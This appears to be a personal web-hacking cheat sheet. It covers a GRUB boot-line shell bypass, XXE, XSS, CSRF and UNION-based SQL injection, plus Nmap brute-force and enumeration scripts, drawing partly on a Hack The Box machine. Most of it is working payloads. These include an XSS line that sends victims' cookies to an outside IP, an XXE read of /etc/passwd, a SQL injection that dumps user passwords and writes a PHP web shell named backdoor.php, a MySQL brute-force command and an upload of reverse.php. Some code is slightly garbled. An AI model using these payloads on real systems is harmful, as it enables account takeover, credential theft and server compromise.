linux security flaws

access shell without pass via grub

on grub's screen, with the Os selected, press "e", and go to the kernel config line:

delete from the word "ro" to the end, as market in the picture, and add "wr init=/bin/bash", after that you will be granted a terminal with limited privileges:

OBS: you can run shell scripts this way

injections

XML injection

example from a htb machine (bounty hunter):

<?xml version="1.0" encoding="ISO-8859-1"?>
<bugreport>
<title> RCE </title>
<cwe> CWE-434 </cwe>
<cvss> 9 </cvss>
<reward> 100 </reward>
</bugreport>

injected version, using file desclosure method:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title> &xxe; </title>
<cwe> CWE-434 </cwe>
<cvss> 9 </cvss>
<reward> 100 </reward>
</bugreport>

repair how we use xxe to get the passwd file, and the same name in <title> &xxe; </title> to display the file requested

xml payloads

XSS injection

consider the following code on a web server:

if( is_set($_GET["name"]) )
aaaaecho "Welcome, $_GET[name]"

and the following request:

http://localhost/welcome.php?name=<script>alert(document.cookie)</script>

if it isn't a shitty code, it will have some protections, here are some ways to bypass it:

http://localhost/welcome.php?name=<sCriPt>alert(document.cookie)</sCrIpT>
http://localhost/welcome.php?name=<sc<script>ript>alert(document.cookie)</scri<script>pt>
http://localhost/welcome.php?name=<script>window.location.href="http://192.168.0.104/index.php?cookie="+document.cookie;</script>

CSFR

consider the following code on a web server, that changes the password of an account:

<form method="change-pass.php" action="GET">
aaaa<input type="password" name="new_password">
aaaa<input type="password" name="new_password2">
aaaa<input type="submit">
</form>

if server is vulnerable, we can have the same form on a web server, and send to the same destination as the authentical one:

<form method="site.com/change-pass.php" action="GET">
aaaa<input type="password" name="new_password" value="pwned">
aaaa<input type="password" name="new_password2" value="pwned">
aaaa<input type="submit">
</form>

pressing submit, we send the form to the website, not having any form of special privileges, repair how we use se the same form, but on a DIFFERENT website

if the params are sent via GET, it gets even more easy:

<img src="/csrf/?user=johndoe&password=test123">

SQL injection

determining number of columns af actual table:

http://store.com/login?name=' UNION ALL SELECT 1 %23'

the browser shows an error, let's try adding the columns until we get a response

http://store.com/login?name=' UNION ALL SELECT 1,2,3 %23' http://store.com/login?name=' UNION ALL SELECT 1,2,3,4,5 %23'

we got

email: 4
password: 4

we can now request the db name

http://store.com/login?name=' UNION ALL SELECT 1,2,3,database(),5 %23'

and get as response

email: store_db
password: 5

now, request the table name:

http://store.com/login?name=' UNION ALL SELECT 1,2,3,table_name,5 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema="store_db" %23'

response

email: users password: 6

requesting columns name:

http://store.com/login?name=' UNION ALL SELECT 1,2,3,column_name,5 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema="store_db" AND table_name ="users" %23'

response

email: id
password: 5
email: name
password: 5
email: username
password: 5
email: email
password: 5
email: password
password: 5

requesting values from columns:

http://store.com/login?name=' UNION ALL SELECT 1,2,3,email,password FROM store_db.users %23'

response (OBS: a password field will likely be)

email: admin@store.com
password: @dm1n
email: contact@store.com
password: ST@ff
email: ghost@store.com
password: !23$$


find directories wich normal user can upload files:

http://store.com/login?name=' UNION ALL SELECT 1,2,3,load_file("/etc/apache2/sites-available/000-default.conf"),5 %23'

response

DocumetRoot /var/www/html

upload a file:

http://store.com/login?name=' UNION ALL SELECT 1,2,3,4,"<pre><?php system($_GET['cmd']) ?>" INTO OUTFILE "/var/www/html/pictures/backdoor.php" %23'

Nmap scripts

mysql-brute

MySQL brute force script

userdb=<wordlist>
passdb=<wordlist>
brute.firstonly=<boolean> ── exits nmap after a match, default is false
nmap -p 3306 testphp.vulnweb.com --script mysql-brute --script-args userdb=/usr/share/userlist,passdb=/usr/share/passlist

mysql-query

script for query in MySQL

mysql-query.query=<query> ── query to send
mysql-query.username=<user>
mysql-query.pass=<pass>
nmap -p 3306 testphp.vulnweb.com --script mysql-query --script-args mysql-query.query='show databases,mysql-query.username=admin,mysql-query.password=admin

http-enum

web server directory enum

nmap testphp.vulnweb.com -p 80 --script http-enum

http-put

exploit web servers with PUT enabled, uploading a file

http-put.file=<file> ── file to upload
http-put.url=<url> ── upload in directory, and rename the file
nmap testphp.vulnweb.com -p 80 --script http-put --script-args http-put.file=/root/reverse.php,http-put.url=/wp-config/upload

http-tamper

exploits a misconfiguration where the path is only blocked via GET

http-method-tamper.uri=<uri> ── possible misconfigurated path nmap testphp.vulnweb.com -p 80 --script http-method-tamper --script-args http-method-tamper.uri=/login

http-csrf

scans fpr csrf vulnerability

nmap testphp.vulnweb.com -p 80 --script http-csrf

traceroute-geolocation

see geolocation of host

nmap testphp.vulnweb.com -p 80 --traceroute --script traceroute-geolocation

http-waf-detect

verifies firewalls in web servers

http-waf-detect.aggro=<boolean> ── tries the hardest to detect, more aggressive nmap testphp.vulnweb.com -p 80 --script http-waf-detect

http-waf-fingerprint

determines waf used

http-waf-fingerprint.intensive ── tries the hardest to detect, more aggressive nmap testphp.vulnweb.com -p 80 --script http-waf-fingerprint

http-robots.txt

searches for directories in robots.txt

nmap testphp.vulnweb.com -p 80 --script http-robots.txt

http-auth-finder

finds auth pages

http-auth-finder.maxdepth=<value> ── recursive depth, default is 3 nmap testphp.vulnweb.com -p 80 --script http-auth-finder